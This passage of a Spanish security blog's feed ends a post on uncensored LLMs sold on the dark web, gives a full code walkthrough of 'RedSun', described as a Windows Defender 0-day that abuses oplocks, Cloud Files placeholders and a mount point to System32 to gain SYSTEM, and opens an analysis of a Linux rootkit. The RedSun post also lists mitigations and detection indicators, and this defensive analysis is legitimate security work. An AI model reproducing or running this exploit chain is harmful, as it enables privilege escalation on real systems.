Incluía:&lt;/p&gt;&lt;ul data-end=&quot;3764&quot; data-start=&quot;3605&quot;&gt;
&lt;li data-end=&quot;3637&quot; data-section-id=&quot;pb8oum&quot; data-start=&quot;3605&quot;&gt;
generación de phishing pages
&lt;/li&gt;
&lt;li data-end=&quot;3668&quot; data-section-id=&quot;1iq7746&quot; data-start=&quot;3638&quot;&gt;
automatización de campañas
&lt;/li&gt;
&lt;li data-end=&quot;3694&quot; data-section-id=&quot;1yieqsk&quot; data-start=&quot;3669&quot;&gt;
obfuscación de código
&lt;/li&gt;
&lt;li data-end=&quot;3727&quot; data-section-id=&quot;khdadk&quot; data-start=&quot;3695&quot;&gt;
búsqueda de vulnerabilidades
&lt;/li&gt;
&lt;li data-end=&quot;3764&quot; data-section-id=&quot;1vp85wc&quot; data-start=&quot;3728&quot;&gt;
incluso infraestructura asociada
&lt;/li&gt;
&lt;/ul&gt;&lt;p data-end=&quot;3792&quot; data-start=&quot;3766&quot;&gt;Y se vendía por suscripción, como cualquier SaaS legítimo. Y aquí es donde el modelo empezó a cambiar: el cibercrimen no está adoptando la IA, está adoptando el modelo de negocio de la IA.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMc0P0wpDim6pb5Kx_LhHdI8WnrjxnAKnbvgG2HEzzsNwq_2Jz8bx9pZtvbP57U-wDCseEfDGYwPrWFdyqaeUg_ppQ5501JdC4oDazY7fOHIT8-i3lJZss5N46ibAOeo4ZDxa5cTmHtKG0oUUGJ9EYGqttre2tjTAhYC7S75yrapxqy-ofDZ6grCVwbrjY/s1017/fraudgpt.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;441&quot; data-original-width=&quot;1017&quot; height=&quot;278&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMc0P0wpDim6pb5Kx_LhHdI8WnrjxnAKnbvgG2HEzzsNwq_2Jz8bx9pZtvbP57U-wDCseEfDGYwPrWFdyqaeUg_ppQ5501JdC4oDazY7fOHIT8-i3lJZss5N46ibAOeo4ZDxa5cTmHtKG0oUUGJ9EYGqttre2tjTAhYC7S75yrapxqy-ofDZ6grCVwbrjY/w640-h278/fraudgpt.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3 data-end=&quot;4012&quot; data-section-id=&quot;o8dznl&quot; data-start=&quot;3961&quot;&gt;El efecto marca: DarkGPT, EvilGPT y compañía&lt;/h3&gt;&lt;p data-end=&quot;4041&quot; data-start=&quot;4014&quot;&gt;Después vino lo inevitable. La proliferación. Decenas de variantes empezaron a aparecer: DarkGPT, EvilGPT, DarkBERT, etc. Muchas de ellas sin diferencias técnicas claras, revendidas por terceros o directamente scams.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpcVel0uLrrBf2TPX-QMBIw_WHVMnn8Rn1sUopu60ihOKW6oL7Vio5uBxWbccWsgzrV0_wGVHNqkYq1q47zf4gTjySN4-endRkxjq2W_7byUUyJaF6ylIYAPXvoSWYceEeGYd-_hZHUaOIb7cKA8bKXUapkQXZwDH_lWf2ievxUxpHit-J2AGaQnmjDfJ7/s1068/darkgpt.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;405&quot; data-original-width=&quot;1068&quot; height=&quot;242&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpcVel0uLrrBf2TPX-QMBIw_WHVMnn8Rn1sUopu60ihOKW6oL7Vio5uBxWbccWsgzrV0_wGVHNqkYq1q47zf4gTjySN4-endRkxjq2W_7byUUyJaF6ylIYAPXvoSWYceEeGYd-_hZHUaOIb7cKA8bKXUapkQXZwDH_lWf2ievxUxpHit-J2AGaQnmjDfJ7/w640-h242/darkgpt.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p data-end=&quot;4041&quot; data-start=&quot;4014&quot;&gt;Esto no es nuevo. Es el mismo patrón del malware clásico: reutilización, rebranding y mucho hype.&lt;/p&gt;&lt;h3 data-end=&quot;4012&quot; data-section-id=&quot;o8dznl&quot; data-start=&quot;3961&quot;&gt;El detalle incómodo: también hay humo&lt;/h3&gt;&lt;p data-end=&quot;4498&quot; data-start=&quot;4465&quot;&gt;No todo lo que se vende funciona. De hecho, en algunos casos documentados donde los accesos a estos modelos no entregaban lo prometido, se pedían pagos adicionales o simplemente desaparecían&lt;/p&gt;&lt;p data-end=&quot;4695&quot; data-start=&quot;4660&quot;&gt;Lo que deja una ironía interesante: Incluso en mercados criminales… hay fraude. Pero ojo... quitando el ruido, el impacto real es también bastante claro: mejores campañas de phishing (sin errores lingüísticos), automatización de tareas repetitivas, acceso a capacidades ofensivas sin conocimiento técnico y escalado de ataques con menos recursos. No podemos obviar esa realidad.&amp;nbsp;&lt;/p&gt;&lt;h3 data-end=&quot;4012&quot; data-section-id=&quot;o8dznl&quot; data-start=&quot;3961&quot;&gt;Pero llega Mythos: un modelo muy eficiente que podría hacer tambalear la ciberseguridad&lt;/h3&gt;&lt;p data-end=&quot;4498&quot; data-start=&quot;4465&quot;&gt;Pero no todo se mueve en las sombras de la dark web. Mientras algunos venden “GPTs sin censura” en foros, otros modelos están evolucionando en un terreno completamente distinto. Es el caso de Claude&amp;nbsp;&lt;strong data-end=&quot;316&quot; data-start=&quot;306&quot;&gt;Mythos&lt;/strong&gt;, vinculado a &lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;Anthropic&lt;/span&gt;, un modelo que ya no encaja sólo en la categoría de hype ni de experimento. No es un juguete rebrandeado ni un wrapper sobre APIs públicas: es tecnología avanzada que ha empezado a abrirse, no al mercado negro, sino a entornos controlados.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;4498&quot; data-start=&quot;4465&quot;&gt;Su aparición en iniciativas como el proyecto GlassWing, donde se ha ofrecido a grandes corporaciones, marca un cambio de fase: de laboratorio cerrado a despliegue estratégico. Y ahí es donde la línea empieza a difuminarse. Porque si estos modelos dejan de ser exclusivos, si se vuelven comerciales, la pregunta ya no es si serán potentes —eso está asumido—, sino cuánto tardará en aparecer una versión derivada, filtrada o replicada en los circuitos habituales.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;4498&quot; data-start=&quot;4465&quot;&gt;Porque si algo ha demostrado la historia del software ofensivo, es que lo que hoy es acceso restringido… mañana puede estar en el mercado equivocado.&lt;/p&gt;&lt;p data-end=&quot;4498&quot; data-start=&quot;4465&quot;&gt;&lt;b&gt;Próximo artículo:&amp;nbsp;&lt;/b&gt;En el siguiente post bajaremos a otra capa igual de interesante: &lt;i&gt;Deepfake-as-a-Service&lt;/i&gt;: voz y vídeo como herramienta de fraude&lt;/p&gt;&lt;p data-end=&quot;4695&quot; data-start=&quot;4660&quot;&gt;


&lt;/p&gt;&lt;p data-end=&quot;5661&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;5594&quot;&gt;Porque si algo está claro, es que esto no ha hecho más que empezar.&lt;/p&gt;&lt;/div&gt;
&lt;p data-end=&quot;2169&quot; data-start=&quot;1987&quot;&gt;&lt;/p&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/385651450647219943/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/04/LLMs-sin-censura-en-dark-web.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/385651450647219943'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/385651450647219943'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/04/LLMs-sin-censura-en-dark-web.html' title='Lo que se vende de IA en la Dark Web (I) — LLMs sin censura'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCaRezOt2veu460MxXJ801GOE4F04pqDPiYXR1OhIP70h-2SyR6Yl_1mW4ZtIbpeBTRBizIhVlR3AXlvJtZEyjDiK86KRaJdGzh3rU3sQvFa8pvuFl8bhfR1AEiAM_jLweIBw4WfqmAVwPfx11H1czaAWAbvXH8RB5E70Re1MIH-l-Y2jLA0-jREPmo9N/s72-c/airobot_ok.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-2956949255102233060</id><published>2026-04-17T22:45:00.000+02:00</published><updated>2026-04-17T22:45:04.197+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Defender"/><category scheme="http://www.blogger.com/atom/ns#" term="escalado de privilegios"/><category scheme="http://www.blogger.com/atom/ns#" term="exploits"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>RedSun: anatomía de un 0-day que convierte Defender en SYSTEM</title><content type='html'>&lt;p&gt;El repositorio&amp;nbsp;&lt;a href=&quot;https://github.com/Nightmare-Eclipse/RedSun&quot;&gt;https://github.com/Nightmare-Eclipse/RedSun&lt;/a&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;no es un proyecto académico ni una PoC incompleta. Es la &lt;strong&gt;materialización funcional de un 0-day en Windows Defender&lt;/strong&gt;, algo que en teoría debería ser difícil incluso de reproducir sin acceso interno o reversing profundo. Y sin embargo, aquí está: 777 líneas de C++ que funcionan:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6Ftk6hyd7B28SidpwPotX6xE-r5ZX1-fwtIkkk8DIviH1rz_GT783Oy36kadY-AWHE0L_Y8dUUvhSOMbWSXljc8wFZIBsH5sHzX0A-FoW1MBqv4RtKPoYePCVaLv1LK0V_8IpQvVMhkmG3egG78y5sDvPNelvJHtwh8SoD1mGKfYfZrQ5nthzj68I8E52/s1111/redsun.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;693&quot; data-original-width=&quot;1111&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6Ftk6hyd7B28SidpwPotX6xE-r5ZX1-fwtIkkk8DIviH1rz_GT783Oy36kadY-AWHE0L_Y8dUUvhSOMbWSXljc8wFZIBsH5sHzX0A-FoW1MBqv4RtKPoYePCVaLv1LK0V_8IpQvVMhkmG3egG78y5sDvPNelvJHtwh8SoD1mGKfYfZrQ5nthzj68I8E52/w640-h400/redsun.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;La pregunta obvia es: &lt;strong&gt;¿cómo alguien llega hasta aquí?&amp;nbsp;&lt;/strong&gt;La respuesta no está en una única técnica, sino en la combinación de varias disciplinas: observación de comportamiento (cómo Defender trata archivos “no estándar”), reversing ligero de flujos (Cloud Files, AV scanning), abuso de primitivas existentes (oplocks, reparse points) y sobre todo: paciencia para encontrar una interacción inconsistente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El 0-day en sí no es un buffer overflow ni una corrupción clásica. Es más incómodo que eso:&lt;br /&gt;una &lt;strong&gt;inconsistencia lógica en cómo Defender maneja archivos tipo cloud (CfAPI)&lt;/strong&gt; combinada con redirecciones de path.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Defender cree que está operando sobre un archivo legítimo en un contexto controlado.&amp;nbsp;Pero en realidad, está escribiendo en otro sitio. Y lo hace con privilegios elevados.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Qué hace &lt;code dir=&quot;ltr&quot;&gt;RedSun.cpp&lt;/code&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Antes de meternos en código, merece la pena verlo desde arriba.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El &lt;code dir=&quot;ltr&quot;&gt;.cpp&amp;nbsp;&lt;/code&gt;implementa una pipeline bastante limpia:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Prepara un directorio temporal controlado&lt;/li&gt;&lt;li&gt;Crea un archivo malicioso “señuelo” (EICAR)&lt;/li&gt;&lt;li&gt;Lo convierte en un &lt;strong&gt;cloud file&lt;/strong&gt; (Cloud Files API)&lt;/li&gt;&lt;li&gt;Controla el timing de acceso con &lt;strong&gt;oplocks&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;Redirige el path mediante &lt;strong&gt;reparse points&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;Provoca a Defender para que interactúe&lt;/li&gt;&lt;li&gt;Y deja que Defender escriba en &lt;code dir=&quot;ltr&quot;&gt;System32&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No hay magia negra. Solo una coreografía muy precisa.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El exploit empieza sin ruido:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;WCHAR tempPath&lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[MAX_PATH]&lt;/span&gt;;
GetTempPathW(MAX_PATH, tempPath);
wcscat_s(tempPath, L&quot;\\RedSun&quot;);

CreateDirectoryW(tempPath, NULL);
SetCurrentDirectoryW(tempPath);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Directo. Se crea un directorio en &lt;code dir=&quot;ltr&quot;&gt;%TEMP%&lt;/code&gt; y se fija como working directory. Esto no es solo comodidad: es &lt;strong&gt;aislamiento total del contexto&lt;/strong&gt;. Todo lo que pase a partir de aquí ocurre bajo control del atacante.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Luego sigue con el trigger de Defender. Aquí empieza la interacción real:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;HANDLE hFile = CreateFileW(
    L&quot;TieringEngineService.exe&quot;,
    GENERIC_WRITE,
    0,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

DWORD written;
WriteFile(hFile, EICAR, sizeof(EICAR), &amp;amp;written, NULL);
CloseHandle(hFile);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El contenido EICAR garantiza que Defender va a reaccionar. No se intenta evadirlo. Se hace justo lo contrario: Se le obliga a actuar.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En paralelo aparece un bloque NTAPI:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;NtOpenDirectoryObject(&amp;amp;hDir, DIRECTORY_QUERY, &amp;amp;objAttr);

NtQueryDirectoryObject(
    hDir,
    buffer,
    sizeof(buffer),
    TRUE,
    FALSE,
    &amp;amp;context,
    &amp;amp;returnLength);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El código enumera objetos tipo: \Device\HarddiskVolumeShadowCopyX&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto no es decorativo. Se está utilizando como una forma de &lt;strong&gt;medir el estado interno del sistema&lt;/strong&gt;. No hay dependencia directa, pero sí una correlación temporal útil. Es una forma de no ir a ciegas.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;oplocks — controlar cuándo ocurre todo&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí el exploit toma el control del timing:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;HANDLE hFile = CreateFileW(
    L&quot;TieringEngineService.exe&quot;,
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_FLAG_OVERLAPPED,
    NULL);

DeviceIoControl(
    hFile,
    FSCTL_REQUEST_OPLOCK,
    NULL,
    0,
    NULL,
    0,
    &amp;amp;bytesReturned,
    &amp;amp;overlapped);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un oplock permite interceptar accesos de otros procesos. En este contexto:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Defender intenta abrir el archivo&lt;/li&gt;&lt;li&gt;El oplock lo bloquea&lt;/li&gt;&lt;li&gt;El exploit decide cuándo continuar&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto convierte una race condition en algo mucho más determinista.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Cloud Files API — el corazón del 0-day&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí está el punto clave del exploit:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CfRegisterSyncRoot(
    syncRootPath,
    &amp;amp;registration,
    &amp;amp;policies,
    CF_REGISTER_FLAG_NONE);

CfConnectSyncRoot(
    syncRootPath,
    &amp;amp;callbacks,
    context,
    CF_CONNECT_FLAG_NONE,
    &amp;amp;connectionKey);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El directorio pasa a ser un &lt;strong&gt;Sync Root&lt;/strong&gt;, como OneDrive. Después:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CF_PLACEHOLDER_CREATE_INFO placeholder = {0};
placeholder.RelativeFileName = L&quot;TieringEngineService.exe&quot;;

CfCreatePlaceholders(
    syncRootPath,
    &amp;amp;placeholder,
    1,
    CF_CREATE_FLAG_NONE,
    NULL);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El archivo ahora es un &lt;strong&gt;cloud file placeholder&lt;/strong&gt;. Y aquí entra el bug: Defender no trata estos archivos igual que archivos normales.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Durante ciertas operaciones (scan, remediation), puede reescribir el archivo sin validar correctamente el path final.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ahora se introduce la redirección:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CreateMountPoint(
    tempPath,
    L&quot;\\??\\C:\\Windows\\System32&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;A partir de aquí:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;C:\Temp\RedSun → C:\Windows\System32&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cualquier operación sobre el directorio “fake” impacta en System32.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Después el código entra en bucle:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;while (true)
{
    HANDLE h = CreateFileW(
        L&quot;TieringEngineService.exe&quot;,
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (h != INVALID_HANDLE_VALUE)
    {
        WriteFile(h, payload, payloadSize, &amp;amp;written, NULL);
        CloseHandle(h);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Mientras tanto:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Defender detecta el EICAR&lt;/li&gt;&lt;li&gt;Intenta limpiar o reescribir&lt;/li&gt;&lt;li&gt;Interactúa con el archivo cloud&lt;/li&gt;&lt;li&gt;Pero el path ya está redirigido&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En algún punto, Defender escribe… donde no debería. Y una vez que el binario cae en &lt;code dir=&quot;ltr&quot;&gt;System32&lt;/code&gt;, el resto es trivial:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CoCreateInstance(
    CLSID_TieringEngine,
    NULL,
    CLSCTX_LOCAL_SERVER,
    IID_ITieringInterface,
    (void**)&amp;amp;pInterface);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;O cualquier otro mecanismo que dispare ejecución privilegiada. El exploit ya ha ganado antes de llegar aquí.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Contramedidas&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Este tipo de bug no se arregla con un parche trivial, porque no es un fallo aislado. Es una interacción entre subsistemas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aun así, hay varias líneas de defensa claras:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;1. Endurecer Cloud Files API&lt;/strong&gt;&lt;br /&gt;Validar estrictamente rutas finales tras operaciones de hidratación/escritura.&lt;br /&gt;Evitar que placeholders puedan resolverse a destinos inesperados.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;2. Mitigar reparse point abuse&lt;/strong&gt;&lt;br /&gt;Restringir redirecciones hacia directorios sensibles (&lt;code dir=&quot;ltr&quot;&gt;System32&lt;/code&gt;) en contextos privilegiados.&lt;br /&gt;Especialmente cuando el proceso que escribe es un servicio del sistema.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;3. Defender hardening&lt;/strong&gt;&lt;br /&gt;Asegurar que las operaciones de remediation:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;No sigan reparse points peligrosos&lt;/li&gt;&lt;li&gt;Validen canonical paths&lt;/li&gt;&lt;li&gt;Operen en contextos aislados&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;4. Detección&lt;/strong&gt;&lt;br /&gt;Indicadores claros:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Uso de &lt;code dir=&quot;ltr&quot;&gt;CfRegisterSyncRoot&lt;/code&gt; fuera de apps legítimas&lt;/li&gt;&lt;li&gt;Creación de placeholders + EICAR&lt;/li&gt;&lt;li&gt;Uso de oplocks en archivos sospechosos&lt;/li&gt;&lt;li&gt;Actividad en &lt;code dir=&quot;ltr&quot;&gt;%TEMP%&lt;/code&gt; con reparse points hacia rutas críticas&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;5. Reducción de superficie&lt;/strong&gt;&lt;br /&gt;Deshabilitar o restringir Cloud Files API en entornos donde no sea necesaria.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Conclusiones&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Después de leer RedSun de arriba abajo, la conclusión es incómoda. No es un exploit complejo. Es un exploit correcto. Y eso es peor porque demuestra que no necesitas romper nada si entiendes lo suficiente bien cómo encajan las piezas. Solo tienes que colocarlas… en el orden adecuado.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/2956949255102233060/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/04/redsun-anatomia-de-un-0-day-privesc.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2956949255102233060'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2956949255102233060'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/04/redsun-anatomia-de-un-0-day-privesc.html' title='RedSun: anatomía de un 0-day que convierte Defender en SYSTEM'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6Ftk6hyd7B28SidpwPotX6xE-r5ZX1-fwtIkkk8DIviH1rz_GT783Oy36kadY-AWHE0L_Y8dUUvhSOMbWSXljc8wFZIBsH5sHzX0A-FoW1MBqv4RtKPoYePCVaLv1LK0V_8IpQvVMhkmG3egG78y5sDvPNelvJHtwh8SoD1mGKfYfZrQ5nthzj68I8E52/s72-w640-h400-c/redsun.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-6487354262967258950</id><published>2026-04-13T01:20:00.004+02:00</published><updated>2026-04-13T01:24:03.951+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C"/><category scheme="http://www.blogger.com/atom/ns#" term="código abierto"/><category scheme="http://www.blogger.com/atom/ns#" term="código fuente"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="rootkits"/><title type='text'>RVBBIT: anatomía de un rootkit LKM moderno basado en stealth, DKOM y anti-eBPF</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCg3sZW897qH_F_08nxUtcPMB1ucLwXX1kzD2bozV_XWAqYskSUsuxKlHcBIV9hnP7e_YjZQSlB5Nlo2dKonU0Q6_xzktF0IIsYsyubhjSg-fYndCvhsUZKF3yujQNXzA7CCRQpizYGWKohFMj2iG1UhPCHGx2PuMEW77pcK4ZTQxztxMrJwNPn-ESsA41/s2176/cyberrvbbit.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2176&quot; data-original-width=&quot;1920&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCg3sZW897qH_F_08nxUtcPMB1ucLwXX1kzD2bozV_XWAqYskSUsuxKlHcBIV9hnP7e_YjZQSlB5Nlo2dKonU0Q6_xzktF0IIsYsyubhjSg-fYndCvhsUZKF3yujQNXzA7CCRQpizYGWKohFMj2iG1UhPCHGx2PuMEW77pcK4ZTQxztxMrJwNPn-ESsA41/s320/cyberrvbbit.jpg&quot; width=&quot;282&quot; /&gt;&lt;/a&gt;&lt;/div&gt;En el ecosistema Linux actual, los rootkits han evolucionado de forma notable. Ya no dependen únicamente de explotación o técnicas rudimentarias de ocultación en espacio de usuario. En su lugar, han pasado a operar directamente sobre estructuras internas del kernel y mecanismos de observabilidad modernos.&lt;p&gt;&lt;/p&gt;
&lt;p data-end=&quot;932&quot; data-start=&quot;541&quot;&gt;El proyecto RVBBIT es un buen ejemplo de esta evolución. Se trata de un módulo de kernel diseñado como prueba de concepto educativa, pero que implementa múltiples técnicas de ocultación y persistencia propias de rootkits reales. Aunque ha sido “neutralizado” en cuanto a funcionalidades destructivas, conserva toda la lógica de stealth, lo que lo convierte en un caso de estudio interesante.&lt;/p&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;b&gt;Arquitectura general del rootkit&lt;/b&gt;&lt;/div&gt;&lt;p data-end=&quot;1403&quot; data-start=&quot;976&quot;&gt;El diseño de RVBBIT se basa en tres pilares fundamentales. Por un lado, el uso de hooking sobre la syscall table, lo que permite interceptar llamadas críticas del sistema. Por otro, la manipulación directa de estructuras internas del kernel mediante DKOM (Direct Kernel Object Manipulation). Finalmente, el uso de resolución dinámica de símbolos mediante kallsyms y kprobes, lo que reduce la dependencia de símbolos exportados.&lt;/p&gt;&lt;p data-end=&quot;932&quot; data-start=&quot;541&quot;&gt;

